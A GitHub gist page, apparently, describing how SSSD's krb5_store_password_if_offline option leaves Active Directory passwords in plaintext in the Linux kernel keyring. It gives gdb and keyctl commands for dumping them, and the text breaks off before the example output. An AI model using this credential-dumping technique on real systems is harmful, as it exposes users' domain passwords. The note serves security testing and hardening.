Skip to content

Instantly share code, notes, and snippets.

View iilegacyyii's full-sized avatar
🥖
Surrendering to shitty code standards since 2002

Jordan Jay iilegacyyii

🥖
Surrendering to shitty code standards since 2002
View GitHub Profile
@jeffmcjunkin
jeffmcjunkin / gist:d5fb8dbf15cbd5d37a77fafccda4d969
Created October 6, 2020 14:53
Retrieving SSSD plain text passwords (krb5_store_password_if_offline)
for who ever this interest, if you enable krb5_store_password_if_offline in the SSSD configuration, the AD password for accounts is stored in plaintext in the kernel keyring
to dump the clear text password you can do :
```
gdb -p <PID_OF_SSSD>
call system("keyctl show > /tmp/output")
```
From the /tmp/output locate the key_id for the user you want
Example of an output is :